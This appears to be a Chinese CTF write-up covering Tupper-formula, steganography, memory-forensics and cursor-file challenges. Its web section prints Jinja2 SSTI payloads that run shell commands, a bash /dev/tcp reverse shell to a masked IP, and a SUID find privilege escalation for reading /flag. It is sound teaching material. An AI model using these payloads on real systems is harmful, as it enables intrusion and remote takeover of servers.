到手一堆验证码图片
根据hint给了tupper,图片的全部数据应该是tupper公式的k,pythonOCR太不准了
直接花个几分钟手搓完事
1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552
找个网站Tupper’s Formula Tools (tuppers-formula.ovh)解一下,原函数就是flag
或者网上找个tupper脚本
import numpy as np
import matplotlib.pyplot as plt
def Tupper_self_referential_formula(k):
aa = np.zeros((17,106))
def f(x, y):
y += k
a1 = 2**-(-17*x - y%17)
a2 = (y // 17) // a1
return 1 if a2 % 2 > 0.5 else 0
for y in range(17):
for x in range(106):
aa[y, x] = f(x, y)
return aa[:,::-1]
k = 1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552
aa = Tupper_self_referential_formula(k)
plt.figure(figsize=(15,10))
plt.imshow(aa,origin='lower')
plt.show()
得到的图需要水平翻转一下
根据题目名称、描述以及打开的网页名字可以猜测是一个png的LSB的解密器
根据题目名猜测可能存在ssti的漏洞,猜测大概思路是利用lsb解析后执行ssti
网上找个脚本做一张lsb图,用仅有的web知识,简单测试一下
# -*- coding: utf-8 -*-
"""
Created on Sun May 19 11:20:05 2019
@author: Administrator
"""
from PIL import Image
def plus(string):
# Python zfill() 方法返回指定长度的字符串,原字符串右对齐,前面填充0。
return string.zfill(8)
def get_key(strr):
# 获取要隐藏的文件内容
with open(strr, "rb") as f:
s = f.read()
string = ""
for i in range(len(s)):
# 逐个字节将要隐藏的文件内容转换为二进制,并拼接起来
# 1.先用ord()函数将s的内容逐个转换为ascii码
# 2.使用bin()函数将十进制的ascii码转换为二进制
# 3.由于bin()函数转换二进制后,二进制字符串的前面会有"0b"来表示这个字符串是二进制形式,所以用replace()替换为空
# 4.又由于ascii码转换二进制后是七位,而正常情况下每个字符由8位二进制组成,所以使用自定义函数plus将其填充为8位
string = string+""+plus(bin(s[i]).replace('0b', ''))
# print(string)
return string
def mod(x, y):
return x % y
# str1为载体图片路径,str2为隐写文件,str3为加密图片保存的路径
def func(str1, str2, str3):
im = Image.open(str1)
# 获取图片的宽和高
width, height = im.size[0], im.size[1]
print("width:"+str(width))
print("height:"+str(height))
count = 0
# 获取需要隐藏的信息
key = get_key(str2)
keylen = len(key)
for h in range(height):
for w in range(width):
pixel = im.getpixel((w, h))
a = pixel[0]
b = pixel[1]
c = pixel[2]
if count == keylen:
break
# 下面的操作是将信息隐藏进去
# 分别将每个像素点的RGB值余2,这样可以去掉最低位的值
# 再从需要隐藏的信息中取出一位,转换为整型
# 两值相加,就把信息隐藏起来了
a = a-mod(a, 2)+int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
b = b-mod(b, 2)+int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
c = c-mod(c, 2)+int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
if count % 3 == 0:
im.putpixel((w, h), (a, b, c))
im.save(str3)
def main():
# 原图
old = "flag.png"
# 处理后输出的图片路径
new = "flag_encode.png"
# 需要隐藏的信息
enc = "a.txt"
func(old, enc, new)
if __name__ == '__main__':
main()
发现确实存在ssti漏洞
ps:这里png图建议自己制作个小图,无用数据过多会导致lsb加密后每个通道都有数据,上传后会报错
from PIL import Image
x = y = 100
img = Image.new("RGB",(x,y))
for width in range(0,x):
for height in range(0,y):
img.putpixel((width,height),(255,255,255))
img.save('flag.png')
网上找个payload,尝试上传
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
读一下flag
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
失败了,果然没那么简单
那就先弹个shell
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/xx.xxx.xxx.xxx/8989 0>&1"').read()}}
根据hint suid,找一下有suid权限的东西
find / -user root -perm -4000 -print 2>/dev/null
哦豁,很惊喜的发现find有suid权限
当前目录没写入权限,找个有写入权限的地方,
提权
find test -exec whoami \;
拿flag
find test -exec cat /flag \;
根据所给的poc.py,需要找到异常进程名字,连接的端口和地址以及公钥
根据所需的四个数据,再结合描述战术目镜,黄色头发,题目名的CS应该是指Cobalt Strike,题目所给应该是CS渗透后的内存镜像
vol2跑不出来,猜测可能是win10的内存,拿vol3先看看
查看一下plist,发现个dllhost.exe,应该就是所需的异常进程
后续不知道算不算个非预期,找到篇解析cs内存的文章Cobalt Strike: Memory Dumps – Part 6 – NVISO Labs
先用vol3把内存dump下来
python vol.py -f C:\Users\22826\Desktop\attachment\memory.raw -o C:\Users\22826\Desktop\attachment windows.memmap.Memmap --dump
再直接用他所给的脚本解析即可得到剩下三个数据,其中url需要将后面的,/match删一下
放poc.py里得到flag
搜索macOS制作指针教程找到出题人的博客从Windows动态指针到MacOS动态指针—— 在Windows上制作指针 - 哔哩哔哩 (bilibili.com)
(结果后来hint给了出题人的博客)
查阅资料后得知cape文件是macOS的鼠标指针文件,使用XML格式作为主框架的,且使用了PropertyList作为数据结构进行组织,用plistlib进行解析一下
from plistlib import load
with open('1.cape', 'rb') as fp:
pl = load(fp)
print(pl)
可以发现Representations部分的数据其实就是base64解码后的data部分的数据
49492A标志位,II开头,应该是小端序的tiff文件
标签图像文件格式(Tagged Image File Format,简写为TIFF)是一种灵活的位图格式,主要用来存储包括照片和艺术图在内的图像。它最初由Aldus公司与微软公司一起为PostScript打印开发。TIFF与JPEG和PNG一起成为流行的高位彩色图像格式。TIFF格式在业界得到了广泛的支持,如Adobe公司的Photoshop、The GIMP Team的GIMP、Ulead PhotoImpact和Paint Shop Pro等图像处理应用、QuarkXPress和Adobe InDesign这样的桌面印刷和页面排版应用,扫描、传真、文字处理、光学字符识别和其它一些应用等都支持这种格式。如今Adobe公司从Aldus获得了印刷应用程序-PageMaker之后控制着TIFF的规范。
…
每个TIFF文件都是从指示字节序的两个字节开始的。“II”表示小端序、“MM”表示大端序。后面的两个字节表示数字42。数字42是“为了它深远的哲学意味”而选择的。42的读法取决于头两个字节所表示的字节顺序。整个文件根据所指出的字节顺序进行读取
通过搜索结果后发现应该有6个tiff文件,分别将他们的索引找出来
#com.apple.coregraphics.Arrow
#com.apple.coregraphics.IBeam
#com.apple.coregraphics.Move
#com.apple.coregraphics.Wait
#com.apple.cursor.17
#com.apple.cursor.18
先导出第一个tiff文件
from plistlib import load
from PIL import Image
with open('1.cape', 'rb') as fp:
pl = load(fp)
#print(pl)
#com.apple.coregraphics.Arrow
#com.apple.coregraphics.IBeam
#com.apple.coregraphics.Move
#com.apple.coregraphics.Wait
#com.apple.cursor.17
#com.apple.cursor.18
s=pl['Cursors']['com.apple.coregraphics.Move']['Representations'][0]
with open('1.tiff','wb') as x:
x.write(s)
发现存在隐藏信息,但导出第二个tiff的时候就发现由于鲨鱼肚皮是白色的,跟隐藏信息重叠一起了很难看
根据题目描述所有的插入信息RGBA取值为(255,255,255,255)
,尝试将全部(255,255,255,255)的数据导出
from plistlib import load
from PIL import Image
with open('1.cape', 'rb') as fp:
pl = load(fp)
#print(pl)
#com.apple.coregraphics.Arrow
#com.apple.coregraphics.IBeam
#com.apple.coregraphics.Move
#com.apple.coregraphics.Wait
#com.apple.cursor.17
#com.apple.cursor.18
s=pl['Cursors']['com.apple.coregraphics.IBeam']['Representations'][0]
with open('1.tiff','wb') as x:
x.write(s)
im = Image.open('1.tiff')
pix = im.load()
width = im.size[0]
height = im.size[1]
imgg = Image.new('RGB', (width, height))
for x in range(width):
for y in range(height):
rgba = pix[x, y]
if rgba==(255,255,255,255):
imgg.putpixel((x,y), (255, 255, 255))
else:
imgg.putpixel((x,y), (0,0,0))
imgg.save('1.png')
对照原图,可以较为清晰的得到隐藏信息
结合6个tiff可以得到后半段的flag
8df7-b89f4760d810}
搜索windows制作指针教程,找到个Axialis CursorWorkshop软件,可以制作ani和cur文件,同样也可以导入
以1.ani为例,逐帧查看可以发现某些帧的左上角有隐藏的flag信息
由于隐藏信息的RGBA值是(255,255,255,255),某些图片里背景色是透明比较难以直接查看,可以通过将不透明度调到最小进行查看
这里也提供另一种方式,可以直接将整个ani(cur)以长图(图片)的形式导出,可以直接查看
最后得到
laf
g1{
513
21c
1-8
8
7
4
-
4
6
-b7
根据uuid的格式可以大概排列出flag的前半段
flag{151321c1-8874-46b7-
组合后得到flag(错误的)
flag{151321c1-8874-46b7-8df7-b89f4760d810}
问题主要出在windows几个数据的排列顺序上
赛后复现的预期解
根据hint,ani文件似乎有一些option字段
(当时误解了这句话意思所以没能利用上),通过搜索ani文件格式
Ani动态光标格式解析 - 孤影对酌 - 博客园 (cnblogs.com)
可以知道ani主要分成四段文字说明区、信息区、时间控制区和数据区,对应’anih’, ‘rate’, 'seq ', ‘list’,每个数据区都有对应开头标识,而seq数据区对应的是播放顺序
这其实在出题人的博客里也有写出,这一篇文章比赛时没去看(
从Windows动态指针到MacOS动态指针——ANI2GIF - 哔哩哔哩 (bilibili.com)
例如1.ani,将数据以10进制复制出来后去0,可以得到他的播放顺序
13 20 7 10
0 31 28 8
3 11 5 30
12 18 32 24
22 27 4 6
1 25 15 16
33 9 21 26
23 19 2 14
17 29
而laf对应三个帧分别是第5、24、31帧,通过比对播放顺序可以发现,分别是原来的第11、16、6张图,因此正确顺序应该是fla
照此思路可以得到最终正确的flag
flag{1513c121-8874-46b7-8df7-b89f4760d810}
比赛时的非预期解(不建议模仿)
由于buu不限制最大提交次数,直接爆破windows这边几个数据的顺序
def permutation(s):
if len(s) <= 1:
return [s]
else:
temp_list = []
for i in range(len(s)): # 遍历字符串 s 中的每个字符
for j in permutation(s[0:i] + s[i+1:]): # 把除了s[i]字符以外的字符组成字符串然后让它迭代
temp_list.append(s[i]+j)
return temp_list
list1=permutation('513')
list2=permutation('21c')
list3=['1-8','8-1']
list4=permutation('b7')
for a in list1:
for b in list2:
for c in list3:
for d in list4:
flag='flag{1'
flag=flag+a+b+c+'874-46'+d+'-8df7-b89f4760d810}'
print(flag)
一开始提交flag过多还被buuban了几分钟,,,在我坚持不懈下还是成功了(
并不建议大家这样去投机取巧(